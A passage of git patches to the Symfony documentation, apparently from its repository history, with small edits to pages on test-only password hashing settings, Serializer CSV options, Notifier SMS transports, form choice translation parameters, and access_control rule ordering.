+-----------------------------------------
+
+By default, password encoders are resource intensive and take time. This is
+important to generate secure password hashes. In tests however, secure hashes
+are not important, waste resources and increase test times. You can reduce
+the *work factor* for your encoders by adding the following *only in your test
+environment*:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/test/security.yaml
+        encoders:
+                # Use your user class name here
+                App\Entity\User:
+                    algorithm: auto # This should be the same value as in config/packages/security.yaml
+                    cost: 4 # Lowest possible value for bcrypt
+                    time_cost: 3 # Lowest possible value for argon
+                    memory_cost: 10 # Lowest possible value for argon
+
+    .. code-block:: xml
+
+        <!-- config/packages/test/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- class: Use your user class name here -->
+                <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
+                <!-- cost: Lowest possible value for bcrypt -->
+                <!-- time_cost: Lowest possible value for argon -->
+                <!-- memory_cost: Lowest possible value for argon -->
+                <encoder
+                    class="App\Entity\User"
+                    algorithm="auto"
+                    cost="4"
+                    time_cost="3"
+                    memory_cost="10"
+                />
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/test/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            'encoders' => [
+                // Use your user class name here
+                User::class => [
+                    'algorithm' => 'auto', // This should be the same value as in config/packages/security.yaml
+                    'cost' => 4, // Lowest possible value for bcrypt
+                    'time_cost' => 3, // Lowest possible value for argon
+                    'memory_cost' => 10, // Lowest possible value for argon
+                ]
+            ],
+        ]);
+
 Using a Faster Authentication Mechanism Only for Tests
 ------------------------------------------------------
 

From eadb2727f2e85b06d9376143966b305c9ff0076a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 15:34:53 +0100
Subject: [PATCH 0352/5766] Tweaks

---
 testing/http_authentication.rst | 29 ++++++++++++++---------------
 1 file changed, 14 insertions(+), 15 deletions(-)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 7ddb11c92a2..336f6f12b39 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -9,17 +9,16 @@ This could become an issue especially when the tests reproduce the same steps
 that users follow to authenticate, such as submitting a login form or using
 OAuth authentication services.
 
-This article explains the two most popular techniques to avoid these issues and
-create fast tests when using authentication.
+This article explains some of the most popular techniques to avoid these issues
+and create fast tests when using authentication.
 
-Improving Password Encoder Speed in Tests
------------------------------------------
+Hashing Passwords Faster Only for Tests
+---------------------------------------
 
-By default, password encoders are resource intensive and take time. This is
-important to generate secure password hashes. In tests however, secure hashes
-are not important, waste resources and increase test times. You can reduce
-the *work factor* for your encoders by adding the following *only in your test
-environment*:
+By default, :ref:`password encoders <security-encoding-user-password>` are
+resource intensive and take time. This is important to generate secure password
+hashes. In tests however, secure hashes are not important, so you can change the
+encoders configuration to generate password hashes as fast as possible:
 
 .. configuration-block::
 
@@ -27,12 +26,12 @@ environment*:
 
         # config/packages/test/security.yaml
         encoders:
-                # Use your user class name here
-                App\Entity\User:
-                    algorithm: auto # This should be the same value as in config/packages/security.yaml
-                    cost: 4 # Lowest possible value for bcrypt
-                    time_cost: 3 # Lowest possible value for argon
-                    memory_cost: 10 # Lowest possible value for argon
+            # Use your user class name here
+            App\Entity\User:
+                algorithm: auto # This should be the same value as in config/packages/security.yaml
+                cost: 4 # Lowest possible value for bcrypt
+                time_cost: 3 # Lowest possible value for argon
+                memory_cost: 10 # Lowest possible value for argon
 
     .. code-block:: xml
 

From 790d1ecb6aefb9f4104399f6b7a6913a2d748259 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 15:42:55 +0100
Subject: [PATCH 0353/5766] Restored some wrongly removed contents

---
 testing/http_authentication.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 134f2ad3fb7..a55ae639e0b 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -10,4 +10,8 @@ How to Simulate HTTP Authentication in a Functional Test
     ease testing secured applications. See :ref:`testing_logging_in_users`
     for more information about this.
 
+    If you are still using an older version of Symfony, view
+    `previous versions of this article`_ for information on how to simulate
+    HTTP authentication.
+
 .. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html

From c20126a152577edf25f60d69ff129245a23de82b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 16:17:29 +0100
Subject: [PATCH 0354/5766] Tweaks

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index ac0451d473d..750d6a2ca5e 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -791,7 +791,7 @@ of domain logic in your templates:
     Returns an array with all the transitions enabled for the given object.
 
 ``workflow_transition()``
-    Returns a specific transitions enabled for the given object and transition name.
+    Returns a specific transition enabled for the given object and transition name.
 
 ``workflow_marked_places()``
     Returns an array with the place names of the given marking.

From e22f0157ebf062761b6e53b8ea8218646e328150 Mon Sep 17 00:00:00 2001
From: lajosthiel <lajos@thiel-agile.de>
Date: Tue, 24 Nov 2020 19:09:08 +0100
Subject: [PATCH 0355/5766] [Serializer] Clarifies 'csv_headers' option

---
 components/serializer.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5c498cbf593..35526432694 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -842,7 +842,14 @@ Option                  Description                                           De
 ``csv_escape_char``     Sets the escape character (at most one character)
 ``csv_key_separator``   Sets the separator for array's keys during its        ``.``
                         flattening
-``csv_headers``         Sets the headers for the data                         ``[]``, inferred from input data's keys
+``csv_headers``         Sets the order of the header and data columns
+                        E.g.: $this->serializer->serialize(
+                        ['c' => 3,'a' => 1,'b' => 2],
+                        'csv',
+                        ['csv_headers' => ['a', 'b', 'c']]);
+                        returns
+                        a,b,c
+                        1,2,3                                                 ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only

From ab238c7a277b63c0a02e5266b0de7b057196e596 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 16:49:25 +0100
Subject: [PATCH 0356/5766] Tweak

---
 components/serializer.rst | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 35526432694..b9291c2e2ef 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -843,13 +843,9 @@ Option                  Description                                           De
 ``csv_key_separator``   Sets the separator for array's keys during its        ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
-                        E.g.: $this->serializer->serialize(
-                        ['c' => 3,'a' => 1,'b' => 2],
-                        'csv',
-                        ['csv_headers' => ['a', 'b', 'c']]);
-                        returns
-                        a,b,c
-                        1,2,3                                                 ``[]``, inferred from input data's keys
+                        E.g.: ``serialize(['c' => 3,'a' => 1,'b' => 2],
+                        'csv', ['csv_headers' => ['a', 'b', 'c']]);``
+                        returns ``a,b,c\n1,2,3 ``                             ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only

From 2e69b0b29c6334a04a005a7095b25557d50fa24f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 17:20:48 +0100
Subject: [PATCH 0357/5766] Fixed a Serializer example

---
 components/serializer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index b9291c2e2ef..e0fe6044e70 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -843,9 +843,10 @@ Option                  Description                                           De
 ``csv_key_separator``   Sets the separator for array's keys during its        ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
-                        E.g.: ``serialize(['c' => 3,'a' => 1,'b' => 2],
-                        'csv', ['csv_headers' => ['a', 'b', 'c']]);``
-                        returns ``a,b,c\n1,2,3 ``                             ``[]``, inferred from input data's keys
+                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
+                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
+                        then ``serialize($data, 'csv', $options)`` returns
+                        ``a,b,c\n1,2,3 ``                                     ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only

From abd7460c0c7b09056ff532296d2168347dc623ab Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20MARTIN?= <pro@aurelienmartin.com>
Date: Mon, 4 Jan 2021 11:41:12 +0100
Subject: [PATCH 0358/5766] Add Octopush in SMS channel

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index be67884c1b2..966124b01bb 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -62,6 +62,7 @@ Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
+Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
@@ -79,7 +80,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms integration was introduced in Symfony 5.3.
+    The Iqsms and Octopush integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 645a4d89f6f9efc56e9e4fc064a247a9b5b2212c Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Fri, 9 Oct 2020 08:30:27 +0200
Subject: [PATCH 0359/5766] [Validator] PHP 7.4 uninitialized typed property
 handling

---
 validation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/validation.rst b/validation.rst
index ae73527188c..b8a5276c4e4 100644
--- a/validation.rst
+++ b/validation.rst
@@ -611,6 +611,13 @@ class to have at least 3 characters.
             }
         }
 
+.. caution::
+
+    With PHP 7.4, typed properties were introduced. If a property is accessed
+    before a value is assigned (explicitly or as a default value), PHP will
+    throw an exception. To avoid that, the Validator will use ``null`` as the
+    properties value if it's uninitialized.
+
 .. index::
    single: Validation; Getter constraints
 

From d1cb7228dfeb2b3d8489d0221290e46ff9f40dba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 17:36:00 +0100
Subject: [PATCH 0360/5766] Reword

---
 validation.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/validation.rst b/validation.rst
index b8a5276c4e4..ab81c528462 100644
--- a/validation.rst
+++ b/validation.rst
@@ -613,10 +613,9 @@ class to have at least 3 characters.
 
 .. caution::
 
-    With PHP 7.4, typed properties were introduced. If a property is accessed
-    before a value is assigned (explicitly or as a default value), PHP will
-    throw an exception. To avoid that, the Validator will use ``null`` as the
-    properties value if it's uninitialized.
+    The validator will use a value ``null`` if a typed property is uninitialized.
+    This can cause unexpected behavior if the property holds a value when initialized.
+    In order to avoid this, make sure all properties are initialized before validating them.
 
 .. index::
    single: Validation; Getter constraints

From 7bf5be110d5bed4e0da3e795ab64fff01cdde40f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sun, 10 Jan 2021 11:45:58 +0100
Subject: [PATCH 0361/5766] fix table markup

---
 components/serializer.rst | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e0fe6044e70..56b9d698cdd 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -833,27 +833,27 @@ which defines the configuration options for the CsvEncoder an associative array:
 
 These are the options available:
 
-======================= ====================================================  ==========================
-Option                  Description                                           Default
-======================= ====================================================  ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one       ``,``
+======================= =====================================================  ==========================
+Option                  Description                                            Default
+======================= =====================================================  ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
                         character only)
-``csv_enclosure``       Sets the field enclosure (one character only)         ``"``
+``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
 ``csv_escape_char``     Sets the escape character (at most one character)
-``csv_key_separator``   Sets the separator for array's keys during its        ``.``
+``csv_key_separator``   Sets the separator for array's keys during its         ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
                         E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3 ``                                     ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
+                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only
                         one line is decoded.
-``no_headers``          Disables header in the encoded CSV                    ``false``
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data  ``false``
-======================= ====================================================  ==========================
+``no_headers``          Disables header in the encoded CSV                     ``false``
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
+======================= =====================================================  ==========================
 
 .. versionadded:: 4.4
 

From 0470b00dac4042ba82b4be1a628a3018151b629b Mon Sep 17 00:00:00 2001
From: Vincent Langlet <vincentlanglet@hotmail.fr>
Date: Mon, 18 May 2020 11:53:54 +0200
Subject: [PATCH 0362/5766] Add choice_translation_parameters option

---
 reference/forms/types/choice.rst              |  3 +
 .../choice_translation_parameters.rst.inc     | 80 +++++++++++++++++++
 2 files changed, 83 insertions(+)
 create mode 100644 reference/forms/types/options/choice_translation_parameters.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index affcce9ab54..d01d90f262d 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -19,6 +19,7 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 |                           | - `choice_loader`_                                                   |
 |                           | - `choice_name`_                                                     |
 |                           | - `choice_translation_domain`_                                       |
+|                           | - `choice_translation_parameters`_                                   |
 |                           | - `choice_value`_                                                    |
 |                           | - `expanded`_                                                        |
 |                           | - `group_by`_                                                        |
@@ -232,6 +233,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
 
+.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc
+
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
new file mode 100644
index 00000000000..32e66393383
--- /dev/null
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -0,0 +1,80 @@
+choice_translation_parameters
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``array``, ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``[]``
+
+The choice values are translated before displaying it, so it can contain
+:ref:`translation placeholders <component-translation-placeholders>`.
+This option defines the values used to replace those placeholders. This can be
+an associative array where the keys match the choice keys and the values
+are the attributes for each choice, a callable or a property path
+(just like `choice_label`_).
+
+Given this translation message:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        form.order.yes: 'I confirm my order to the company %company%'
+        form.order.no: 'I cancel my order'
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0"?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                <trans-unit id="form.order.yes">
+                    <source>form.order.yes</source>
+                    <target>I confirm my order to the company %company%</target>
+                </trans-unit>
+                <trans-unit id="form.order.no">
+                    <source>form.order.no</source>
+                    <target>I cancel my order</target>
+                </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/messages.fr.php
+        return [
+            'form.order.yes' => "I confirm my order to the company %company%",
+            'form.order.no' => "I cancel my order",
+        ];
+
+You can specify the placeholder values as follows::
+
+    $builder->add('id', null, [
+        'choice' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => function ($choice, $key, $value) {
+            if (false === $choice) {
+                return [];
+            }
+
+            return ['%company%' => 'ACME Inc.']
+        },
+    ]);
+
+If an array, the keys of the ``choices`` array must be used as keys::
+
+    $builder->add('id', null, [
+        'choice' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => [
+            'form.order.yes' => ['%company%' => 'ACME Inc.'],
+            'form.order.no' => [],
+        ],
+    ]);
+
+The translation parameters of child fields are merged with the same option of
+their parents, so children can reuse and/or override any of the parent placeholders.

From 89d3122981d023c5e373044528f900a0f063814c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Jan 2021 17:36:22 +0100
Subject: [PATCH 0363/5766] [Messenger] Deprecated the prefetch_count option

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..9f28fca4e1d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1005,6 +1005,11 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. deprecated:: 5.3
+
+    The ``prefetch_count`` option was deprecated in Symfony 5.3 because it has
+    no effect on the AMQP Messenger transport.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From f97888b8a05121405df7943dc0ca07909ca1804f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 11 Jan 2021 10:01:28 +0100
Subject: [PATCH 0364/5766] [#14384] Minor grammar fix in versionadded
 directive

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bf25000f347..0c66f680c66 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -979,7 +979,8 @@ Option                          Description
 
 .. versionadded:: 4.2
 
-    The ``decoder_ignored_node_types`` & ``encoder_ignored_node_types`` options was introduced in Symfony 4.2.
+    The ``decoder_ignored_node_types`` and ``encoder_ignored_node_types``
+    options were introduced in Symfony 4.2.
 
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~

From d44c038f925c4cab693995ecf1531206128353a5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 11 Jan 2021 10:02:07 +0100
Subject: [PATCH 0365/5766] Removed 4.2 versionadded directive

---
 components/serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ca89cdb58ca..c062fef80c5 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -946,11 +946,6 @@ Option                          Description
                                 generated XML
 ==============================  =================================================  ==========================
 
-.. versionadded:: 4.2
-
-    The ``decoder_ignored_node_types`` and ``encoder_ignored_node_types``
-    options were introduced in Symfony 4.2.
-
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 

From 1534a32f7b3257ac0631e58bb0537de672bfe561 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Jan 2021 12:49:41 +0100
Subject: [PATCH 0366/5766] DOCtor-RST: New rule blank_line_after_anchor

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 949ad80f3bf..8da0ebdd6af 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,6 +1,7 @@
 rules:
     american_english: ~
     avoid_repetetive_words: ~
+    blank_line_after_anchor: ~
     blank_line_after_directive: ~
     blank_line_before_directive: ~
     composer_dev_option_not_at_the_end: ~

From 5e743581e8487ca44b03da5af944a7c4760d1f2c Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Mon, 11 Jan 2021 10:06:29 -0500
Subject: [PATCH 0367/5766] Fixes #14814 Default behavior about unpacking packs
 by Flex changed

`symfony/flex` since `1.9.0` unpack packs by default (PR https://github.com/symfony/flex/pull/656)
---
 setup.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index a93d157b371..7b22d190321 100644
--- a/setup.rst
+++ b/setup.rst
@@ -210,12 +210,11 @@ For example, to add debugging features in your application, you can run the
 which in turn installs several packages like ``symfony/debug-bundle``,
 ``symfony/monolog-bundle``, ``symfony/var-dumper``, etc.
 
-By default, when installing Symfony packs, your ``composer.json`` file shows the
-pack dependency (e.g. ``"symfony/debug-pack": "^1.0"``) instead of the actual
-packages installed. To show the packages, add the ``--unpack`` option when
-installing a pack (e.g. ``composer require debug --dev --unpack``) or run this
-command to unpack the already installed packs: ``composer unpack PACK_NAME``
-(e.g. ``composer unpack debug``).
+You won't see the `symfony/debug-pack` dependency in your `composer.json`, as Flex
+automatically unpacks the pack. This means that it only adds the real packages 
+as dependencies (e.g. you will see the new `symfony/var-dumper` in `require-dev`). 
+While it is not recommended, you can use the `composer require --no-unpack ...`
+option to disable unpacking.
 
 .. _security-checker:
 

From a3716a41613649fc4ec0c9ac4953b3968b5c6f7e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Jan 2021 17:33:23 +0100
Subject: [PATCH 0368/5766] Tweaks

---
 setup.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup.rst b/setup.rst
index 7b22d190321..68200d31020 100644
--- a/setup.rst
+++ b/setup.rst
@@ -210,11 +210,11 @@ For example, to add debugging features in your application, you can run the
 which in turn installs several packages like ``symfony/debug-bundle``,
 ``symfony/monolog-bundle``, ``symfony/var-dumper``, etc.
 
-You won't see the `symfony/debug-pack` dependency in your `composer.json`, as Flex
-automatically unpacks the pack. This means that it only adds the real packages 
-as dependencies (e.g. you will see the new `symfony/var-dumper` in `require-dev`). 
-While it is not recommended, you can use the `composer require --no-unpack ...`
-option to disable unpacking.
+You won't see the ``symfony/debug-pack`` dependency in your ``composer.json``,
+as Flex automatically unpacks the pack. This means that it only adds the real
+packages as dependencies (e.g. you will see a new ``symfony/var-dumper`` in
+``require-dev``). While it is not recommended, you can use the ``composer
+require --no-unpack ...`` option to disable unpacking.
 
 .. _security-checker:
 

From 8961ebdd978cc42fbf0a1a98d5432b2a5d439a87 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 11 Jan 2021 22:45:11 +0100
Subject: [PATCH 0369/5766] [Mailer] Update Twig namespace

The examples shown in the "Using External CSS Files" section use/define a Twig namespace called styles, not css. I checked git history and branch 4.4 doesn't have this issue.
---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2bbc58d04a5..fbb84dbdd20 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -663,7 +663,7 @@ arguments to the filter:
 
 You can pass unlimited number of arguments to ``inline_css()`` to load multiple
 CSS files. For this example to work, you also need to define a new Twig namespace
-called ``css`` that points to the directory where ``email.css`` lives:
+called ``styles`` that points to the directory where ``email.css`` lives:
 
 .. _mailer-css-namespace:
 
@@ -786,11 +786,11 @@ You can combine all filters to create complex email messages:
 
 .. code-block:: twig
 
-    {% apply inky_to_html|inline_css(source('@css/foundation-emails.css')) %}
+    {% apply inky_to_html|inline_css(source('@styles/foundation-emails.css')) %}
         {# ... #}
     {% endapply %}
 
-This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we created
+This makes use of the :ref:`styles Twig namespace <mailer-css-namespace>` we created
 earlier. You could, for example, `download the foundation-emails.css file`_
 directly from GitHub and save it in ``assets/styles``.
 

From da8362f38e286d7c7ecd5ac91b6daf9f67282c46 Mon Sep 17 00:00:00 2001
From: BooleanType <booleantype@ya.ru>
Date: Sun, 10 Jan 2021 22:29:29 +0100
Subject: [PATCH 0370/5766] [Security] Update access_control.rst

---
 security/access_control.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index efae1e628d1..53d216c8ce2 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -40,8 +40,8 @@ Take the following ``access_control`` entries as an example:
         security:
             # ...
             access_control:
-                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_PORT, ip: 127.0.0.1, port: 8080 }
+                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
                 # when defining multiple roles, users must have at least one of them (it's like an OR condition)
@@ -59,8 +59,8 @@ Take the following ``access_control`` entries as an example:
 
             <config>
                 <!-- ... -->
-                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_PORT" ip="127.0.0.1" port="8080"/>
+                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
                 <!-- when defining multiple roles, users must have at least one of them (it's like an OR condition) -->
@@ -74,17 +74,17 @@ Take the following ``access_control`` entries as an example:
         $container->loadFromExtension('security', [
             // ...
             'access_control' => [
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '127.0.0.1',
-                ],
                 [
                     'path' => '^/admin',
                     'roles' => 'ROLE_USER_PORT',
                     'ip' => '127.0.0.1',
                     'port' => '8080',
                 ],
+                [
+                    'path' => '^/admin',
+                    'roles' => 'ROLE_USER_IP',
+                    'ips' => '127.0.0.1',
+                ],
                 [
                     'path' => '^/admin',
                     'roles' => 'ROLE_USER_HOST',
@@ -112,13 +112,13 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | URI             | IP          | PORT        | HOST        | METHOD     | ``access_control``             | Why?                                                        |
 +=================+=============+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #1 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
+| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #2 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #1 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
+| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #2 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
 |                 |             |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
 |                 |             |             |             |            |                                | ``access_control`` match is used.                           |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #2 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
+| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
